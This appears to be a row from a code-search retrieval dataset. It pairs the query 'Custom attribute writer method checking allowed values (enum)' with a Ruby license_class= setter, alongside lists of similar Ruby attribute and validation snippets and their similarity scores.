"def sanitized_allowed_attributes=(attributes); end",
"def sanitized_allowed_attributes=(attributes); end",
"def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end",
"def valid_attributes\n { name: \"Expert\" }\n end",
"def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end",
"def valid_attributes\n { \"username\" => \"MyString\" }\n end",
"def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def has_attributes?; end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end",
"def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def attr(symbol, writable=false) end",
"def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end",
"def validate\n validate_string_attributes\n end",
"def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end",
"def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def valid_attributes\n { }\n end",
"def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end",
"def valid_attributes\n { }\n end",
"def valid_attributes\n { }\n end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def attribute; end",
"def attribute; end"
] | [
"0.6472992",
"0.6315012",
"0.6315012",
"0.62821025",
"0.6279224",
"0.6211609",
"0.61891466",
"0.6182247",
"0.60683644",
"0.6032628",
"0.5995443",
"0.5988785",
"0.5959885",
"0.5938289",
"0.5931089",
"0.58951056",
"0.5859927",
"0.5851703",
"0.58493423",
"0.58465594",
"0.58328366",
"0.5823013",
"0.5822229",
"0.57850474",
"0.5701491",
"0.5696689",
"0.5682951",
"0.5678094",
"0.566814",
"0.5657499",
"0.56555206",
"0.5642589",
"0.56219065",
"0.5615893",
"0.56105876",
"0.559851",
"0.5598089",
"0.55940455",
"0.5585137",
"0.55848545",
"0.55796933",
"0.5571477",
"0.5567006",
"0.55667996",
"0.55652434",
"0.5562926",
"0.55600035",
"0.55590326",
"0.55590326",
"0.5554599",
"0.5554599",
"0.55407417",
"0.5534935",
"0.5527733",
"0.55271375",
"0.55238813",
"0.5501504",
"0.5497003",
"0.5496233",
"0.54927665",
"0.5464706",
"0.54617554",
"0.5461167",
"0.5451583",
"0.54498726",
"0.54498726",
"0.54359984",
"0.5430996",
"0.5430996",
"0.5426488",
"0.5418467",
"0.54153895",
"0.54107565",
"0.5407886",
"0.5401234",
"0.54008496",
"0.5400268",
"0.53910094",
"0.53827274",
"0.5377731",
"0.5375473",
"0.5374833",
"0.53720397",
"0.5370215",
"0.5363264",
"0.5361161",
"0.5360557",
"0.5351706",
"0.53514725",
"0.53492516",
"0.53459316",
"0.5341237",
"0.5328037",
"0.5328037",
"0.53230566",
"0.53230566",
"0.53230566",
"0.5319575",
"0.531832",
"0.5315559",
"0.5315559"
] | 0.0 | -1 |
Custom attribute writer method checking allowed values (enum). | def license_class=(license_class)
validator = EnumAttributeValidator.new('String', ["F", "A", "C", "X"])
unless validator.valid?(license_class)
fail ArgumentError, "invalid value for 'license_class', must be one of #{validator.allowable_values}."
end
@license_class = license_class
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def write_attribute_with_enum(attr, value)\n write_attribute_without_enum attr, converted_enum(attr, value)\n end",
"def attr_enum(name, enum, options={}, &block)\n raise ArgumentError, 'enum' unless enum && enum.respond_to?(:values)\n\n options = {\n :enum => enum,\n :validate => true\n }.merge(options)\n\n required = options[:required] == true\n converter = block_given? ? block : Converters.converter_for(:enum, options)\n\n attr_reader_with_converter name, converter, options\n\n validates name,\n :allow_blank => !required,\n :allow_nil => !required,\n :inclusion => { :in => enum.values } if options[:validate]\n\n attr_writer name\n\n add_attr(name, :enum, converter, options)\n end",
"def _attribute_enum?(attr)\n return false unless self.class.respond_to?(:defined_enums)\n self.class.defined_enums.with_indifferent_access.include?(attr)\n end",
"def nature_of_business=(nature_of_business)\n validator = EnumAttributeValidator.new('String', [\"personal\", \"agriculture_and_hunting\", \"forestry\", \"fishing\", \"agricultural_by_products\", \"coal_mining\", \"oil_mining\", \"iron_ore_mining\", \"other_metal_and_diamond_mining\", \"other_mineral_mining\", \"manufacturing_of_food_drink_tobacco\", \"manufacturing_of_textiles_leather_fur_furniture\", \"manufacture_of_wooden_products_furniture\", \"manufacture_of_paper_pulp_allied_products\", \"manufacture_of_chemicals_medical_petroleum_rubber_plastic_products\", \"manufacture_of_pottery_china_glass_stone\", \"manufacture_of_iron_steel_non_ferrous_metals_basic_industries\", \"manufacture_of_metal_products_electrical_and_scientific_engineering\", \"manufacture_of_jewelry_musical_instruments_toys\", \"electricity_gas_and_water\", \"construction\", \"wholesale_trade\", \"retail_trade\", \"catering_incl_hotels\", \"transport_storage\", \"communications\", \"finance_and_holding_companies\", \"insurance\", \"business_services\", \"real_estate_development_investment\", \"central_state_governments\", \"community_services_defence_police_prisons_etc\", \"social_services_education_health_care\", \"personal_services_leisure_services\", \"personal_services_domestic_laundry_repairs\", \"personal_services_embassies_international_organisations\"])\n unless validator.valid?(nature_of_business) || nature_of_business.empty?\n fail ArgumentError, \"invalid value for \\\"nature_of_business\\\", must be one of #{validator.allowable_values}.\"\n end\n @nature_of_business = nature_of_business\n end",
"def valid?\n type_validator = EnumAttributeValidator.new('String', ['Appear', 'CurveUpDown', 'Ascend', 'Blast', 'Blinds', 'Blink', 'BoldFlash', 'BoldReveal', 'Boomerang', 'Bounce', 'Box', 'BrushOnColor', 'BrushOnUnderline', 'CenterRevolve', 'ChangeFillColor', 'ChangeFont', 'ChangeFontColor', 'ChangeFontSize', 'ChangeFontStyle', 'ChangeLineColor', 'Checkerboard', 'Circle', 'ColorBlend', 'ColorTypewriter', 'ColorWave', 'ComplementaryColor', 'ComplementaryColor2', 'Compress', 'ContrastingColor', 'Crawl', 'Credits', 'Custom', 'Darken', 'Desaturate', 'Descend', 'Diamond', 'Dissolve', 'EaseInOut', 'Expand', 'Fade', 'FadedSwivel', 'FadedZoom', 'FlashBulb', 'FlashOnce', 'Flicker', 'Flip', 'Float', 'Fly', 'Fold', 'Glide', 'GrowAndTurn', 'GrowShrink', 'GrowWithColor', 'Lighten', 'LightSpeed', 'MediaPause', 'MediaPlay', 'MediaStop', 'Path4PointStar', 'Path5PointStar', 'Path6PointStar', 'Path8PointStar', 'PathArcDown', 'PathArcLeft', 'PathArcRight', 'PathArcUp', 'PathBean', 'PathBounceLeft', 'PathBounceRight', 'PathBuzzsaw', 'PathCircle', 'PathCrescentMoon', 'PathCurvedSquare', 'PathCurvedX', 'PathCurvyLeft', 'PathCurvyRight', 'PathCurvyStar', 'PathDecayingWave', 'PathDiagonalDownRight', 'PathDiagonalUpRight', 'PathDiamond', 'PathDown', 'PathEqualTriangle', 'PathFigure8Four', 'PathFootball', 'PathFunnel', 'PathHeart', 'PathHeartbeat', 'PathHexagon', 'PathHorizontalFigure8', 'PathInvertedSquare', 'PathInvertedTriangle', 'PathLeft', 'PathLoopdeLoop', 'PathNeutron', 'PathOctagon', 'PathParallelogram', 'PathPeanut', 'PathPentagon', 'PathPlus', 'PathPointyStar', 'PathRight', 'PathRightTriangle', 'PathSCurve1', 'PathSCurve2', 'PathSineWave', 'PathSpiralLeft', 'PathSpiralRight', 'PathSpring', 'PathSquare', 'PathStairsDown', 'PathSwoosh', 'PathTeardrop', 'PathTrapezoid', 'PathTurnDown', 'PathTurnRight', 'PathTurnUp', 'PathTurnUpRight', 'PathUp', 'PathUser', 'PathVerticalFigure8', 'PathWave', 'PathZigzag', 'Peek', 'Pinwheel', 'Plus', 'RandomBars', 'RandomEffects', 'RiseUp', 'Shimmer', 'Sling', 'Spin', 'Spinner', 'Spiral', 'Split', 'Stretch', 'Strips', 'StyleEmphasis', 'Swish', 'Swivel', 'Teeter', 'Thread', 'Transparency', 'Unfold', 'VerticalGrow', 'Wave', 'Wedge', 'Wheel', 'Whip', 'Wipe', 'Magnify', 'Zoom', 'OLEObjectShow', 'OLEObjectEdit', 'OLEObjectOpen'])\n return false unless type_validator.valid?(@type)\n subtype_validator = EnumAttributeValidator.new('String', ['None', 'Across', 'Bottom', 'BottomLeft', 'BottomRight', 'Center', 'Clockwise', 'CounterClockwise', 'GradualAndCycleClockwise', 'GradualAndCycleCounterClockwise', 'Down', 'DownLeft', 'DownRight', 'FontAllCaps', 'FontBold', 'FontItalic', 'FontShadow', 'FontStrikethrough', 'FontUnderline', 'Gradual', 'Horizontal', 'HorizontalIn', 'HorizontalOut', 'In', 'InBottom', 'InCenter', 'InSlightly', 'Instant', 'Left', 'OrdinalMask', 'Out', 'OutBottom', 'OutCenter', 'OutSlightly', 'Right', 'Slightly', 'Top', 'TopLeft', 'TopRight', 'Up', 'UpLeft', 'UpRight', 'Vertical', 'VerticalIn', 'VerticalOut', 'Wheel1', 'Wheel2', 'Wheel3', 'Wheel4', 'Wheel8'])\n return false unless subtype_validator.valid?(@subtype)\n preset_class_type_validator = EnumAttributeValidator.new('String', ['Entrance', 'Exit', 'Emphasis', 'Path', 'MediaCall', 'OLEActionVerbs'])\n return false unless preset_class_type_validator.valid?(@preset_class_type)\n return false if @shape_index.nil?\n trigger_type_validator = EnumAttributeValidator.new('String', ['AfterPrevious', 'OnClick', 'WithPrevious'])\n return false unless trigger_type_validator.valid?(@trigger_type)\n restart_validator = EnumAttributeValidator.new('String', ['Always', 'WhenNotActive', 'Never', 'NotDefined'])\n return false unless restart_validator.valid?(@restart)\n after_animation_type_validator = EnumAttributeValidator.new('String', ['DoNotDim', 'Color', 'HideAfterAnimation', 'HideOnNextMouseClick'])\n return false unless after_animation_type_validator.valid?(@after_animation_type)\n true\n end",
"def enum_attr?(name)\n return false unless @enum_attrs\n @enum_attrs.key?(name)\n end",
"def classy_enum_attr(attribute, options={})\n enum = (options[:class_name] || options[:enum] || attribute).to_s.camelize.constantize\n allow_blank = options[:allow_blank] || false\n allow_nil = options[:allow_nil] || false\n default = ClassyEnum._normalize_default(options[:default], enum)\n\n # Add ActiveRecord validation to ensure it won't be saved unless it's an option\n validates_inclusion_of attribute,\n in: enum,\n allow_blank: allow_blank,\n allow_nil: allow_nil\n\n # Use a module so that the reader methods can be overridden in classes and\n # use super to get the enum value.\n mod = Module.new do\n\n # Define getter method that returns a ClassyEnum instance\n define_method attribute do\n enum.build(read_attribute(attribute), owner: self)\n end\n\n # Define setter method that accepts string, symbol, instance or class for member\n define_method \"#{attribute}=\" do |value|\n value = ClassyEnum._normalize_value(value, default, (allow_nil || allow_blank))\n super(value)\n end\n\n define_method :save_changed_attribute do |attr_name, arg|\n if attribute.to_s == attr_name.to_s && !attribute_changed?(attr_name)\n arg = enum.build(arg)\n current_value = clone_attribute_value(:read_attribute, attr_name)\n\n if arg != current_value\n if respond_to?(:set_attribute_was, true)\n set_attribute_was(attr_name, enum.build(arg, owner: self))\n else\n changed_attributes[attr_name] = enum.build(current_value, owner: self)\n end\n end\n else\n super(attr_name, arg)\n end\n end\n end\n\n include mod\n\n # Initialize the object with the default value if it is present\n # because this will let you store the default value in the\n # database and make it searchable.\n if default.present?\n after_initialize do\n value = read_attribute(attribute)\n\n if (value.blank? && !(allow_blank || allow_nil)) || (value.nil? && !allow_nil)\n send(\"#{attribute}=\", default)\n end\n end\n end\n\n end",
"def is_enum_param(name)\n [\"bookmarkType\", \"order\", \"role\"].include?(name)\n end",
"def valid?\n ENUM.include? @type.downcase.to_sym\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['Appear', 'CurveUpDown', 'Ascend', 'Blast', 'Blinds', 'Blink', 'BoldFlash', 'BoldReveal', 'Boomerang', 'Bounce', 'Box', 'BrushOnColor', 'BrushOnUnderline', 'CenterRevolve', 'ChangeFillColor', 'ChangeFont', 'ChangeFontColor', 'ChangeFontSize', 'ChangeFontStyle', 'ChangeLineColor', 'Checkerboard', 'Circle', 'ColorBlend', 'ColorTypewriter', 'ColorWave', 'ComplementaryColor', 'ComplementaryColor2', 'Compress', 'ContrastingColor', 'Crawl', 'Credits', 'Custom', 'Darken', 'Desaturate', 'Descend', 'Diamond', 'Dissolve', 'EaseInOut', 'Expand', 'Fade', 'FadedSwivel', 'FadedZoom', 'FlashBulb', 'FlashOnce', 'Flicker', 'Flip', 'Float', 'Fly', 'Fold', 'Glide', 'GrowAndTurn', 'GrowShrink', 'GrowWithColor', 'Lighten', 'LightSpeed', 'MediaPause', 'MediaPlay', 'MediaStop', 'Path4PointStar', 'Path5PointStar', 'Path6PointStar', 'Path8PointStar', 'PathArcDown', 'PathArcLeft', 'PathArcRight', 'PathArcUp', 'PathBean', 'PathBounceLeft', 'PathBounceRight', 'PathBuzzsaw', 'PathCircle', 'PathCrescentMoon', 'PathCurvedSquare', 'PathCurvedX', 'PathCurvyLeft', 'PathCurvyRight', 'PathCurvyStar', 'PathDecayingWave', 'PathDiagonalDownRight', 'PathDiagonalUpRight', 'PathDiamond', 'PathDown', 'PathEqualTriangle', 'PathFigure8Four', 'PathFootball', 'PathFunnel', 'PathHeart', 'PathHeartbeat', 'PathHexagon', 'PathHorizontalFigure8', 'PathInvertedSquare', 'PathInvertedTriangle', 'PathLeft', 'PathLoopdeLoop', 'PathNeutron', 'PathOctagon', 'PathParallelogram', 'PathPeanut', 'PathPentagon', 'PathPlus', 'PathPointyStar', 'PathRight', 'PathRightTriangle', 'PathSCurve1', 'PathSCurve2', 'PathSineWave', 'PathSpiralLeft', 'PathSpiralRight', 'PathSpring', 'PathSquare', 'PathStairsDown', 'PathSwoosh', 'PathTeardrop', 'PathTrapezoid', 'PathTurnDown', 'PathTurnRight', 'PathTurnUp', 'PathTurnUpRight', 'PathUp', 'PathUser', 'PathVerticalFigure8', 'PathWave', 'PathZigzag', 'Peek', 'Pinwheel', 'Plus', 'RandomBars', 'RandomEffects', 'RiseUp', 'Shimmer', 'Sling', 'Spin', 'Spinner', 'Spiral', 'Split', 'Stretch', 'Strips', 'StyleEmphasis', 'Swish', 'Swivel', 'Teeter', 'Thread', 'Transparency', 'Unfold', 'VerticalGrow', 'Wave', 'Wedge', 'Wheel', 'Whip', 'Wipe', 'Magnify', 'Zoom', 'OLEObjectShow', 'OLEObjectEdit', 'OLEObjectOpen'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def set_enum_attrs(subset)\n raise ArgumentError, \"attrs is not a proper subset of available values\" unless subset.all? { |attr| attrs.include? attr }\n @enum_attrs = subset\n end",
"def country=(country)\n validator = EnumAttributeValidator.new('String', [\"ZZ\", \"AD\", \"AE\", \"AF\", \"AG\", \"AI\", \"AL\", \"AM\", \"AO\", \"AQ\", \"AR\", \"AS\", \"AT\", \"AU\", \"AW\", \"AX\", \"AZ\", \"BA\", \"BB\", \"BD\", \"BE\", \"BF\", \"BG\", \"BH\", \"BI\", \"BJ\", \"BL\", \"BM\", \"BN\", \"BO\", \"BQ\", \"BR\", \"BS\", \"BT\", \"BV\", \"BW\", \"BY\", \"BZ\", \"CA\", \"CC\", \"CD\", \"CF\", \"CG\", \"CH\", \"CI\", \"CK\", \"CL\", \"CM\", \"CN\", \"CO\", \"CR\", \"CU\", \"CV\", \"CW\", \"CX\", \"CY\", \"CZ\", \"DE\", \"DJ\", \"DK\", \"DM\", \"DO\", \"DZ\", \"EC\", \"EE\", \"EG\", \"EH\", \"ER\", \"ES\", \"ET\", \"FI\", \"FJ\", \"FK\", \"FM\", \"FO\", \"FR\", \"GA\", \"GB\", \"GD\", \"GE\", \"GF\", \"GG\", \"GH\", \"GI\", \"GL\", \"GM\", \"GN\", \"GP\", \"GQ\", \"GR\", \"GS\", \"GT\", \"GU\", \"GW\", \"GY\", \"HK\", \"HM\", \"HN\", \"HR\", \"HT\", \"HU\", \"ID\", \"IE\", \"IL\", \"IM\", \"IN\", \"IO\", \"IQ\", \"IR\", \"IS\", \"IT\", \"JE\", \"JM\", \"JO\", \"JP\", \"KE\", \"KG\", \"KH\", \"KI\", \"KM\", \"KN\", \"KP\", \"KR\", \"KW\", \"KY\", \"KZ\", \"LA\", \"LB\", \"LC\", \"LI\", \"LK\", \"LR\", \"LS\", \"LT\", \"LU\", \"LV\", \"LY\", \"MA\", \"MC\", \"MD\", \"ME\", \"MF\", \"MG\", \"MH\", \"MK\", \"ML\", \"MM\", \"MN\", \"MO\", \"MP\", \"MQ\", \"MR\", \"MS\", \"MT\", \"MU\", \"MV\", \"MW\", \"MX\", \"MY\", \"MZ\", \"NA\", \"NC\", \"NE\", \"NF\", \"NG\", \"NI\", \"NL\", \"NO\", \"NP\", \"NR\", \"NU\", \"NZ\", \"OM\", \"PA\", \"PE\", \"PF\", \"PG\", \"PH\", \"PK\", \"PL\", \"PM\", \"PN\", \"PR\", \"PS\", \"PT\", \"PW\", \"PY\", \"QA\", \"RE\", \"RO\", \"RS\", \"RU\", \"RW\", \"SA\", \"SB\", \"SC\", \"SD\", \"SE\", \"SG\", \"SH\", \"SI\", \"SJ\", \"SK\", \"SL\", \"SM\", \"SN\", \"SO\", \"SR\", \"SS\", \"ST\", \"SV\", \"SX\", \"SY\", \"SZ\", \"TC\", \"TD\", \"TF\", \"TG\", \"TH\", \"TJ\", \"TK\", \"TL\", \"TM\", \"TN\", \"TO\", \"TR\", \"TT\", \"TV\", \"TW\", \"TZ\", \"UA\", \"UG\", \"UM\", \"US\", \"UY\", \"UZ\", \"VA\", \"VC\", \"VE\", \"VG\", \"VI\", \"VN\", \"VU\", \"WF\", \"WS\", \"YE\", \"YT\", \"ZA\", \"ZM\", \"ZW\"])\n unless validator.valid?(country)\n fail ArgumentError, \"invalid value for 'country', must be one of #{validator.allowable_values}.\"\n end\n @country = country\n end",
"def check_option!(name, definition)\n case name\n when :values\n raise AttributorException, \"Allowed set of values requires an array. Got (#{definition})\" unless definition.is_a? ::Array\n when :default\n raise AttributorException, \"Default value doesn't have the correct attribute type. Got (#{definition.inspect})\" unless type.valid_type?(definition) || definition.is_a?(Proc)\n options[:default] = load(definition) unless definition.is_a?(Proc)\n when :description\n raise AttributorException, \"Description value must be a string. Got (#{definition})\" unless definition.is_a? ::String\n when :required\n raise AttributorException, 'Required must be a boolean' unless definition == true || definition == false\n raise AttributorException, 'Required cannot be enabled in combination with :default' if definition == true && options.key?(:default)\n when :required_if\n raise AttributorException, 'Required_if must be a String, a Hash definition or a Proc' unless definition.is_a?(::String) || definition.is_a?(::Hash) || definition.is_a?(::Proc)\n raise AttributorException, 'Required_if cannot be specified together with :required' if options[:required]\n when :example\n unless definition.is_a?(::Regexp) || definition.is_a?(::String) || definition.is_a?(::Array) || definition.is_a?(::Proc) || definition.nil? || type.valid_type?(definition)\n raise AttributorException, \"Invalid example type (got: #{definition.class.name}). It must always match the type of the attribute (except if passing Regex that is allowed for some types)\"\n end\n when :custom_data\n raise AttributorException, \"custom_data must be a Hash. Got (#{definition})\" unless definition.is_a?(::Hash)\n else\n return :unknown # unknown option\n end\n\n :ok # passes\n end",
"def define_active_enum_write_method(attribute)\n class_eval <<-DEF\n def #{attribute}=(arg)\n if arg.is_a?(Symbol)\n super(self.class.active_enum_for(:#{attribute})[arg])\n else\n super\n end\n end\n DEF\n end",
"def check_enum(validation:, key:, schema:)\n return false if !validation[:required] && schema.nil? # Optional and not here, dont check\n return false unless validation[:values]\n return false if validation[:values].include?(schema)\n\n schema = 'nothing' if schema.nil?\n error! key, \"must be one of #{validation[:values].join(', ')}, but was #{schema}\"\n true\n end",
"def should_allow_values_for(attribute, *good_values)\n get_options!(good_values)\n good_values.each do |value|\n matcher = allow_value(value).for(attribute)\n should matcher.description do\n assert_accepts matcher, subject\n end\n end\n end",
"def validate_exclusion_of(attr); end",
"def valid_attribute_types\n\t\treturn self.must_attribute_types |\n\t\t self.may_attribute_types |\n\t\t self.operational_attribute_types\n\tend",
"def valid?\n status_validator = EnumAttributeValidator.new('String', [\"ACTIVE\", \"INACTIVE\"])\n return false unless status_validator.valid?(@status)\n country_validator = EnumAttributeValidator.new('String', [\"ZZ\", \"AD\", \"AE\", \"AF\", \"AG\", \"AI\", \"AL\", \"AM\", \"AO\", \"AQ\", \"AR\", \"AS\", \"AT\", \"AU\", \"AW\", \"AX\", \"AZ\", \"BA\", \"BB\", \"BD\", \"BE\", \"BF\", \"BG\", \"BH\", \"BI\", \"BJ\", \"BL\", \"BM\", \"BN\", \"BO\", \"BQ\", \"BR\", \"BS\", \"BT\", \"BV\", \"BW\", \"BY\", \"BZ\", \"CA\", \"CC\", \"CD\", \"CF\", \"CG\", \"CH\", \"CI\", \"CK\", \"CL\", \"CM\", \"CN\", \"CO\", \"CR\", \"CU\", \"CV\", \"CW\", \"CX\", \"CY\", \"CZ\", \"DE\", \"DJ\", \"DK\", \"DM\", \"DO\", \"DZ\", \"EC\", \"EE\", \"EG\", \"EH\", \"ER\", \"ES\", \"ET\", \"FI\", \"FJ\", \"FK\", \"FM\", \"FO\", \"FR\", \"GA\", \"GB\", \"GD\", \"GE\", \"GF\", \"GG\", \"GH\", \"GI\", \"GL\", \"GM\", \"GN\", \"GP\", \"GQ\", \"GR\", \"GS\", \"GT\", \"GU\", \"GW\", \"GY\", \"HK\", \"HM\", \"HN\", \"HR\", \"HT\", \"HU\", \"ID\", \"IE\", \"IL\", \"IM\", \"IN\", \"IO\", \"IQ\", \"IR\", \"IS\", \"IT\", \"JE\", \"JM\", \"JO\", \"JP\", \"KE\", \"KG\", \"KH\", \"KI\", \"KM\", \"KN\", \"KP\", \"KR\", \"KW\", \"KY\", \"KZ\", \"LA\", \"LB\", \"LC\", \"LI\", \"LK\", \"LR\", \"LS\", \"LT\", \"LU\", \"LV\", \"LY\", \"MA\", \"MC\", \"MD\", \"ME\", \"MF\", \"MG\", \"MH\", \"MK\", \"ML\", \"MM\", \"MN\", \"MO\", \"MP\", \"MQ\", \"MR\", \"MS\", \"MT\", \"MU\", \"MV\", \"MW\", \"MX\", \"MY\", \"MZ\", \"NA\", \"NC\", \"NE\", \"NF\", \"NG\", \"NI\", \"NL\", \"NO\", \"NP\", \"NR\", \"NU\", \"NZ\", \"OM\", \"PA\", \"PE\", \"PF\", \"PG\", \"PH\", \"PK\", \"PL\", \"PM\", \"PN\", \"PR\", \"PS\", \"PT\", \"PW\", \"PY\", \"QA\", \"RE\", \"RO\", \"RS\", \"RU\", \"RW\", \"SA\", \"SB\", \"SC\", \"SD\", \"SE\", \"SG\", \"SH\", \"SI\", \"SJ\", \"SK\", \"SL\", \"SM\", \"SN\", \"SO\", \"SR\", \"SS\", \"ST\", \"SV\", \"SX\", \"SY\", \"SZ\", \"TC\", \"TD\", \"TF\", \"TG\", \"TH\", \"TJ\", \"TK\", \"TL\", \"TM\", \"TN\", \"TO\", \"TR\", \"TT\", \"TV\", \"TW\", \"TZ\", \"UA\", \"UG\", \"UM\", \"US\", \"UY\", \"UZ\", \"VA\", \"VC\", \"VE\", \"VG\", \"VI\", \"VN\", \"VU\", \"WF\", \"WS\", \"YE\", \"YT\", \"ZA\", \"ZM\", \"ZW\"])\n return false unless country_validator.valid?(@country)\n currency_validator = EnumAttributeValidator.new('String', 